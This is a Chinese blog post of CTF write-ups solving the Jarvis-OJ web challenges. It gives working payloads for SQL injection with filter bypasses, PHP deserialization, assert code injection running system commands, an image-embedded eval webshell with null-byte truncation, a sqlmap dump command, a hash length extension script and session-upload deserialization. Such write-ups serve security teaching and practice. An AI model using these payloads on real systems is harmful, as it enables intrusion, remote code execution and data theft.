Jarvis-OJ WEB 多题writeup

最新推荐文章于 2022-12-23 17:16:37 发布
最新推荐文章于 2022-12-23 17:16:37 发布
阅读量4k 收藏 9
点赞数 1
分类专栏： ★ CTF # ——【 SQL Inject】 # ——【 Code Audit】 # ——【 FileUpload/FileInclude】 # ——【 Command Execute】 文章标签： Jarvis-OJ
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/dyw_666666/article/details/89371741
版权

PORT51（curl）

LOCALHOST（伪造ip）

Login（SQL注入）

神盾局的秘密（base64编码+反序列化）

IN A Mess（代码审计+过滤空格SQL注入）

admin（robots.txt+cookie欺骗）

[61dctf]babyphp（Git泄露+代码注入）

Easy Gallery（文件上传、%00截断）

Simple Injection（过滤空格SQL注入）

RE? （mysql的UDF用户自定义函数）

flag在管理员手里（Hash长度扩展攻击）

api调用（XXE漏洞）

PHPINFO（SESSION反序列化）

PORT51（curl）

题目链接：http://web.jarvisoj.com:32770/

本地的51号端口访问服务器，需要用到curl.

windows下curl下载地址：https://curl.haxx.se/download.html

curl --local-port 51 http://web.jarvisoj.com:32770/

curl的介绍和一些常见用法：https://blog.csdn.net/liitdar/article/details/80684730

LOCALHOST（伪造ip）

题目入口：http://web.jarvisoj.com:32774/

火狐插件X-Forwarded-For Header伪装成127.0.0.1

Login（SQL注入）

题目链接：http://web.jarvisoj.com:32772/

尝试了几个密码都显示Wrong Password.

只得抓包，发现响应头中有hint.

这里使用了md5加密，

而ffifdyop经过md5($password,true)过后恰好结果是'or'6�]��!r,��b，即最后组成的sql语句是：

$sql="select * from admin where password=''or'<xxx>'"

所以直接输入ffifdyop即可得到flag.

这道题告诉我们，md5使用的时候一定要加盐！

 

类似题目： 

题目入口：http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/ 

题目来源：hacking lab inject 09~ 

看到源代码password=’”.md5($_GET['pwd'], true)，就知道这道题和题目3的解法是一致的。 

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

神盾局的秘密（base64编码+反序列化）

题目入口：http://web.jarvisoj.com:32768/

查看页面源代码：

发现图片名经过base64加密，解密后得到文件名：

 尝试访问index.php的页面源代码，先给index.php base64加密：

访问后发现有个shield.php：

shield.php中发现一句话：

flag is in pctf.php

访问了pctf.php却没有flag：

最后再看看showimg.php的内容：

综合分析，题目过滤了".."、"/"、"\\"，"pctf"

通过审计代码，这里是利用自己写shield.php中的Shield类反序列化字符串，然后利用index.php反序列把这个类实例，并将该类的filename指为pctf.php.

所以我们要将实例进行序列化，最后在index.php提交序列化后的内容.

<?php
class Shield {
        public $file;
        function __construct($filename = 'pctf.php') {
            $this -> file = $filename;
        }
}
$str = new Shield();
echo serialize($str);
?>

最终payload：

view-source:http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

IN A Mess（代码审计+过滤空格SQL注入）

题目入口：http://web.jarvisoj.com:32780/

查看页面源代码：

访问index.phps，发现只有后面一半代码：

查看页面源代码，发现完整代码：

<?php
error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
	header('Location: index.php?id=1');
	exit();
}

$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'Hahahahahaha';
	return ;
}

$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}
?>

Payload： 

http://web.jarvisoj.com:32780/index.php?id=a&b=%00111223&a=php://input
[POST]"1112 is a nice lab!"

得到下一关的地址： 

http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1

接下来是SQL注入：

尝试进行注入，发现此时，简单过滤了空格，利用/*666*/绕过，且去除敏感字符

于是有：?id=1/*666*/and/*666*/1/*666*/=/*666*/1显示正常

?id=1/*666*/and/*666*/1/*666*/=/*666*/2 显示错误，存在注入 

?id=1/*666*/order/*666*/by/*666*/1 显示正常

?id=1/*666*/order/*666*/by/*666*/2 显示正常

?id=1/*666*/order/*666*/by/*666*/3 显示正常

?id=1/*666*/order/*666*/by/*666*/4 显示错误，字段数为3

爆库：

?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(database())%23

得到数据库名test

爆表名：

?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(selselectect/*6*/group_concat(column_name)/*6*/frofromm/*6*/information_schema.columns/*6*/where/*6*/table_name=0x636f6e74656e74)%23

得到列名：context

读取内容：

?id=-1/*6*/uniunionon/*6*/seselectlect/*6*/1,2,(selselectect/*6*/context/*6*/frofromm/*6*/content)%23

 

admin（robots.txt+cookie欺骗）

题目入口：http://web.jarvisoj.com:32792/

扫一下目录，发现有个robots.txt

访问该文件

答案会这么简单吗？不会！

只要在cookie中把admin的值由0改为1即可.

这样就得到flag了.

[61dctf]babyphp（Git泄露+代码注入）

题目入口：http://web.jarvisoj.com:32798/

在about下发现了提示，怀疑存在git泄露

用GitHack脚本获取

python GitHack.py http://web.jarvisoj.com:32798/.git/

浏览了下，templates目录里面没什么有用信息，

有个flag.php还是空的，但是估计题目就是要获取题目服务器上的flag.php内容，

最主要的地方是index.php的php代码部分.

<?php
if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

它使用了assert这个可以代码执行的函数，后面的file_exists()可以不用管，从strpos入手，因为内容可控，所有可以拼接

自己本地模拟下，发现php能够用 and 和 | 来执行多条命令，使用 . 作为连接符。

注入思路：

整体上可以注释掉’, ‘..’) === false，或者不注释，只在中间插入。另外要注意闭合单引号和括号。

查看目录下文件：

http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").'

当时我想的是能否直接用这样的payload实现查看源代码呢？

Payload：

http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").'

发现页面没有显示内容，但其实就在页面源码里：

By The Way：

代入：

 . 连接符 ，?page=flag’.system(“ls”).’ 代入后得到

assert(“strpos(‘flag’.system(“ls”).”, ‘..’) === false”) or die(“Detected hacking attempt!”); 

执行过程：

字符串flag和system(“ls”)和空字符”拼接后，作为strpos()的第一个参数。

重点是system()函数是会直接把结果输出的，不用echo，也可以输出，所以system(“ls”)就直接把目录输出了。

如何注释掉后面的语句：

?page=’,’88’)===false and system(“cat templates/flag.php”);//

php代码注入总结：

连接自己的命令 ：；and | . ,

system(“xxx”) 中命令使用双引号

闭合引号：

php中单引号不解释变量，双引号解释，一般都是单引号

Easy Gallery（文件上传、%00截断）

题目入口：http://web.jarvisoj.com:32785/

看到upload页面，猜想应该是上传题目.

随便改个参数,报错warning.

可看出是用fopen进行文件包含的，这里能够%00截断，但是不能访问index.php.

尝试修改文件名和改Content-Type，都没能成功.

重点来了！！！

那么思路是把代码插入到图片中，然后包含这个图片，并利用%00截断，截取后面的.php，这里不能直接传以jpg格式结尾的php代码，估计它检查了头部，所以要将代码插入图片中.

抓包，在图片文件最后加上一句话木马

<script language="php">@eval($_POST['love']);</script>

写<?php eval($_POST[‘love’])?>并不能成功，后来看了别人的writeup才知道可能后台代码把 <?php 给waf了，这也是为什么index.php不能包含进去的原因.

猜想访问图片的方式为:

http://web.jarvisoj.com:32785/index.php?page=uploads/1555763227.jpg

访问后得到回显：

注意文件名后面有个.php，于是想到了%00截断

访问：

http://web.jarvisoj.com:32785/index.php?page=uploads/1555763227.jpg%00

得到flag。

Besides：

通过view进行查看图片，然后查看源码获取图片的位置：

http://web.jarvisoj.com:32785/show.php?id=1555763227&type=jpg

Simple Injection（过滤空格SQL注入）

题目入口：http://web.jarvisoj.com:32787/

burp抓包并保存为1.txt：

根据是用户名错误还是密码错误来进行判断。可得知过滤了空格，and，or。

这里用sqlmap的一个space2comment脚本跑。

Payload：

sqlmap.py -r 1.txt --technique T --level 3 --tamper=space2comment -D injection -T admin --dump

password经md5解密：

eTAloCrEP

登陆后显示flag：

RE? （mysql的UDF用户自定义函数）

题目地址：udf.so.02f8981200697e5eeb661e64797fc172

搜了一下题解，这道题大概思路是：

下载下来后文件名为udf.so.XXXXX，用mysql导入一下。

所以这道题就是让我们在本地导入udf，然后调用函数看结果。

奈何在windows下的MySQL或MariaDB尝试会报错：

ERROR 1126 (HY000): Can't open shared library 'udf.so.02f8981200697e5eeb661e64797fc172' (errno: 2, )

原因：

udf是mysql自定义函数包，

udf.so用于linux系统，udf.dll用于windows系统。

解决方法：

  1. 在linux下装mysql
  2. docker直接pull mysql镜像

解题方法一：Linux

cd /usr/lib64/mysql/plugin
wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

登陆MySQL或MariaDB后：

create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select help_me();
create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
select getflag();

解题方法二：Docker

>docker search mysql
Error response from daemon: Get https://index.docker.io/v1/search?q=mysql&n=25: dial tcp: lookup index.docker.io on 192.168.65.1:53: read udp 192.168.65.3:43547->192.168.65.1:53: i/o timeout
#重启解决（没有什么是重启解决不了的，如果有，就重装）
> docker pull mysql
> docker run -p 3306:3306 --name ctf-mysql -v D:\security\docker:/tmp  -e LANG=C.UTF-8 -e MYSQL_ROOT_PASSWORD=123456 -d  mysql 
>docker exec -it ctf-mysql bash
root@72c3316058c9:/# mysql -u root -p
mysql> select @@plugin_dir; 
root@72c3316058c9:/# cp ./udf.so.02f8981200697e5eeb661e64797fc172 /usr/lib/mysql/plugin/udf.so
mysql> create function help_me returns string soname 'udf.so';
Query OK, 0 rows affected (0.04 sec)
mysql> select help_me();
use getflag function to obtain your flag!!
mysql> create function getflag returns string soname 'udf.so';
Query OK, 0 rows affected (0.05 sec)
mysql> select getflag();
PCTF{Interesting_U5er_d3fined_Function}

即可得到flag。

flag在管理员手里（Hash长度扩展攻击）

题目链接：http://web.jarvisoj.com:32778/

上去先抓包，发现会设置一个md5和你的身份guest。

题目的意思应该是将guest改为admin。

大概是哈希长度拓展攻击。

估计要找源码了，常见的备份文件 .bak .swp .swo 还有 ~

用源码泄露工具扫描一下：

Usage :
        python SourceLeakHackerForLinux.py [URL]
Example :
        python SourceLeakHackerForLinux.py http://www.baidu.com/
Tips :
        Your URL should must starts with "http://" or "https://"

打开这个链接可以下载一个文件index.php~，这个是php的备份恢复文件，拿到 linux下，重命名为index.php.swp，使用命令vim -r index.php 即可恢复原来的php文件，得到源码：

<?php
    $auth = false;
    $role = "guest";
	
    $salt =
    if (isset($_COOKIE["role"])) {
        $role = unserialize($_COOKIE["role"]);
        $hsh = $_COOKIE["hsh"];
        if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
            $auth = true;
        } else {
            $auth = false;
        }
    } else {
        $s = serialize($role);
        setcookie('role',$s);
        $hsh = md5($salt.strrev($s));
        setcookie('hsh',$hsh);
    }
	
    if ($auth) {
        echo "<h3>Welcome Admin. Your flag is
    } else {
        echo "<h3>Only Admin can see the flag!!</h3>";
    }
?>

如何知道 $salt 的长度呢，可以选择kali中的hashpump 或者 hash_extender工具爆破……

解题方法一：hash_extender工具

安装hash_extender步骤：

git clone https://github.com/iagox86/hash_extender  
cd hash_extender  
make

还需要一个python脚本，来自：

https://skysec.top/2017/08/16/jarvisoj-web/#flag%E5%9C%A8%E7%AE%A1%E7%90%86%E5%91%98%E6%89%8B%E9%87%8C

# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import json
import time
import os
import urllib

def gao(x, y):
        #print x
        #print y
    url = "http://web.jarvisoj.com:32778/index.php"
    cookie = "role=" + x + "; hsh=" + y
        #print cookie
    build_header = {
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
            'Host': 'web.jarvisoj.com:32778',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    urlparts = urlparse(url)
    conn = HTTPConnection(urlparts.hostname, urlparts.port or 80)
    conn.request("GET", urlparts.path, '', build_header)
    resp = conn.getresponse()
    body = resp.read()
    return body

for i in xrange(1000):
    print i
    #secret len = ???
    find_hash = "./hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5  -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
    #print find_hash
    calc_res = os.popen(find_hash).readlines()
    hash_value = calc_res[0][:32]
    attack_padding = calc_res[0][32:]
    attack_padding = urllib.quote(urllib.unquote(attack_padding)[::-1])
    ret = gao(attack_padding, hash_value)
    if "Welcome" in ret:
        print ret
        break

可见盐的长度是12……且得到回显：

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
       body {
              background:gray;
              text-align:center;
       }
</style>
</head>
<body>
       <h3>Welcome Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3} </h3>
</body>
</html>

解题方法二：HashPump

先在centos或者kali下安装HashPump：

git clone https://github.com/bwall/HashPump
#yum install g++ libssl-dev #centos
apt-get install g++ libssl-dev #kali
cd HashPump
make
make install

 使用方法：

Input Signature 为COOKIES中hsh的值
Input Data 为用户名
Input Key Length 为长度
Input Data to Add 为密码（自定义，除了admin）

把内容中值反转一下，把\x替换为%：

s:5:"admin"%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest"%3b

fcdc3840332555511c4e4323f6decb07

将其输入到cookie对应的参数中，获得flag，注意下序列化的 ";" 在cookie中需要编码成 %3b

那么这里为什么能够添加了这么多内容，还能满足源码中如下的判定条件呢：

$role == ‘admin‘

因为这道题巧在利用了unserialize来进行反序列化，它会把序列化格式 ;之后的内容丢弃

也就是 s:5:"admin"; xxxxx (xxxx全被丢弃了)

如果不是被反序列化了，这样这道题不能满足$role == ‘admin‘条件了

同类题目(shiyanbar)：

http://ctf5.shiyanbar.com/web/kzhan.php

api调用（XXE漏洞）

请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口：http://web.jarvisoj.com:9882/

抓包传的json：

利用了ajax，这里把传的json改成xml，并利用xxe读取flag

先把头中的Content-Type改为application/xml

下面利用xxe

得到flag。

关于XXE漏洞的两篇文章：

https://security.tencent.com/index.php/blog/msg/69

https://www.freebuf.com/articles/web/126788.html

PHPINFO（SESSION反序列化）

题目入口：http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

本题的突破点在于：

ini_set('session.serialize_handler', 'php');

 

当get传入phpinfo时会实例化OowoO这个类并访问phpinfo()。

 

通过phpinfo页面，我们知道php.ini中默认session.serialize_handler为php_serialize，而index.php中将其设置为php。

这就导致了seesion的反序列化问题。

由phpinfo()页面继续可知，session.upload_progress.enabled为On。

 

因此当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，

当php检测到这种POST请求时，它会在$_SESSION中添加一组数据。

所以可以通过Session Upload Progress来设置session。

但是，这时就有一个问题，在题目代码中，没有某个值是用来接受我们传入的数据，并储存到$_SESSION中的。

其实我们是有办法传入$_SESSION数据的，这里就利用到了|的反序列化问题。

思路很明显了，我们需要构造一个上传和post同时进行的情况，代码如下:

<!DOCTYPE html>
<html>
<head>
	<title>test</title>
	<meta charset="utf-8">
</head>
<body>
	<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
	    <input type="file" name="file" />
	    <input type="submit" />
	</form>
</body>
</html>

 

再考虑序列化：

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);
 
var_dump($a);

得到下面结果：

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止转义，在引号前加上\。利用前面的html页面随便上传一个东西，抓包，把filename改为如下：

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

注意，前面还有一个|，这是session的格式。

 

通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]

进一步更改，可获得flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag。

烟敛寒林o
关注
  • 1
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 9
    评论
专栏目录
jarvisoj WEB +MISC writeup
Ni9htMar3的博客
12-26 7260
WEB PORT 51 Login LOCALHOST 神盾局的秘密 IN a mess Easy Gallery Simple Injection 方法一 方法二 api的调用 PHPINFO
Jarvis OJ—Web
m0re's blog
09-19 631
Web PORT51 使用51端口，但是修改端口的话，32770就不是这道题的了，所以应该是使用本地的端口51来访问。所以就需要用到curl命令。curl命令可以进行学习一下，回头有空学习一下。 LOCALHOST 本地访问，简单题，设置一下hosts文件就行，将题目网址加上去就OK。也可以使用插件刷新一下得到flag Login 登录，但是尝试了几个弱口令，还进行了爆破，不过没有得到flag，所以抓包抓包看看返回结果这里有个hint， "select * from `admin` where p.
jarvisoj_web_witerup
残阳泼茶香的博客
03-17 506
PORT51 该题提示我们需要使用51端口进入该站点 然而此站为http://web.jarvisoj.com:32770/ 它的端口已经是确定了的，所以只能更改我们的port了。 本来用的是kali虚拟机，不能通过外网，命令如下 curl --local-port 51 http://web.jarvisoj.com:32770/ 自己试试，我就懒得弄win上的curl命令了 L...
jarvis OJ web babyphp
qq_43677324的博客
04-02 1011
babyphp 考完二级后我又要回归web狗了 今天做到一道web题 上题： http://web.jarvisoj.com:32798/ 进入后： 发现应该有git泄露 因此我们使用githack进行获得源码 打开cmd 输入：python2 GitHack.py http://web.jarvisoj.com:32798/.git/ #这里的python2是我设置的用于区分python3 即这...
jarvis oj Web By Assassin
qq_43679818的博客
01-10 1008
jarvis oj Web By Assassin
jarvis：JARVIS-Tools：用于数据驱动的原子材料设计的开源软件包
02-05
jarvis：JARVIS-Tools：用于数据驱动的原子材料设计的开源软件包
jarvis-api:JARVIS系统的API部分
05-16
jarvis-api [WIP] JARVIS：只是一个非常智能的系统 该项目是JARVIS系统的API部分。 它是用于管理您的忙碌生活的各种插件的集合。 （将用于UI前端。） 安装 您将需要来运行服务器。 安装完成后，在项目文件夹中运行...
JarvisOJ.docx
03-10
本文总结了 JarvisOJ Web 中的多个知识点，涵盖了网络安全、Web 开发、加密算法、SQL 注入、XML 实体注入、robots.txt、Cookie hijacking 等领域。 一、Port 51 端口访问 在 JarvisOJ Web 中，我们学习到了如何...
Python库 | jarvis-tools-2021.12.16.tar.gz
03-08
《Python库：jarvis-tools-2021.12.16的深度解析》 在编程领域，Python因其简洁的语法和丰富的库支持而深受开发者喜爱。本文将重点介绍一个名为"jarvis-tools"的Python库，其版本为2021.12.16，封装在一个名为...
Jarvis-Musical-Bot:Jarvis Telegram Music Bot for Spotify
04-06
Jarvis Telegram Music Bot for Spotify 该Telegram机器人允许用户授权其Spotify帐户并获得不错的功能。 授权实际上不收集用户昵称以外的任何私人数据。 其特点： 分享当前歌曲。 您可以共享Spotify客户端上当前...
page flags
11-17 564
//@kernel/include/linux/page-flags.h enum pageflags { PG_locked, /* Page is locked. Don't touch. */ PG_error, PG_referenced, PG_uptodate, PG_dirty
jarvisoj-web题解(刷题中, 最新更新:Easy Gallery )
我们仍旧还是那年追逐着C++的少年的影子
07-05 585
大致是按分数排序的 题目名 题目链接 思路 关键词 [61dctf]admin http://web.jarvisoj.com:32792/ step1: 打开页面后发现: 1.没有额外cookie 2.没有源码 3.没有输入点 step2: 尝试查看是否该网站下有其他页面可访问, 发现 /robots.txt 可以访问并包含flag所在网页 step3: 打开该网页尝试提交flag发现错误，从新检查 step1 中的内容，发现有新的cookie admin step4: 修改c
ISCC2016 Easy Gallery
weixin_33877885的博客
07-28 301
ISCC2016 Easy Gallery 虽然是一道上传绕过，可是绕出了新姿势，记录一下 打开题目发现有一个上传文件的地方 直接上传图片一句话 一句话的内容是： <?php eval($_POST['Ambrose']); ?> 上传成功显示图片ID 拿着这个ID去找图片路径 通过查看图片信息得知图片在uploads/1532755715.jp...
渗透测试-xxe之CTF考题实验及防御方法
lza20001103的博客
04-29 1508
xxe之CTF考题实验及防御方法
2020第五空间 web writeup
a3320315的博客
06-27 3338
hate-php 源码 <?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me');
XXE漏洞原理及常见利用方式（以xxe-lab为示例）
weixin_43610673的博客
03-11 2290
这是一个有回显的XXE，这里读的文件是比较理想的，没有会被xml解析的字符，如果像下图中文件的内容一样就会引起xml解析报错（如Linux的/etc/fstab文件其中包含一些看起来像 XML 的字符），XML 解析器会尝试解析这些元素，但其不是一个有效的 XML 文档。而XXE是将XML元素注入变成外部实体注入，上面的基础知识部分已经提到了在DTD中声明外部实体，在xml中实体的作用相当于是一个已经定义的变量，可以在标签内使用，通过 & 符号进行引用。，是不会被解析器解析的文本。...
易霖博CTF——Writeup
Lethe's Blog
03-30 1713
签到题 EasyRSA 给了flag.en和rsa_private_key.pem私钥，直接用openssl解密，得到flag{We1c0meCtf3r_elab} Web1 rce_nopar php的无参数rce，利用PHPSESSID，参考：https://xz.aliyun.com/t/6316#toc-8 脚本如下： import requests import binascii p...
XXE漏洞详解（三）——XXE漏洞实际运用
最新发布
永远是少年
12-23 747
今天继续给大家介绍渗透测试相关知识，本文主要内容是XXE漏洞详解（三）——XXE漏洞实际运用。 一、XXE漏洞简介 二、XXE漏洞pikachu靶场介绍 三、XXE漏洞pikachu靶场实战 （一）利用XXE漏洞读取文件 （二）利用XXE漏洞进行内网探测
XXE漏洞复现
春日野穹
10-23 2974
引言~ XXE就是XML外部实体注入，当允许引用外部实体时， XML数据在传输中有可能会被不法分子被修改，如果服务器执行被恶意插入的代码，就可以实现攻击的目的攻击者可以通过构造恶意内容，就可能导致任意文件读取，系统命令执行，内网端口探测，攻击内网网站等危害。 实验环境~ PHP版本：5.4.45 中间件：apache 复现平台：皮卡丘漏洞练习平台 libXML编译版本：2.7.8 libxm...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烟敛寒林o

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值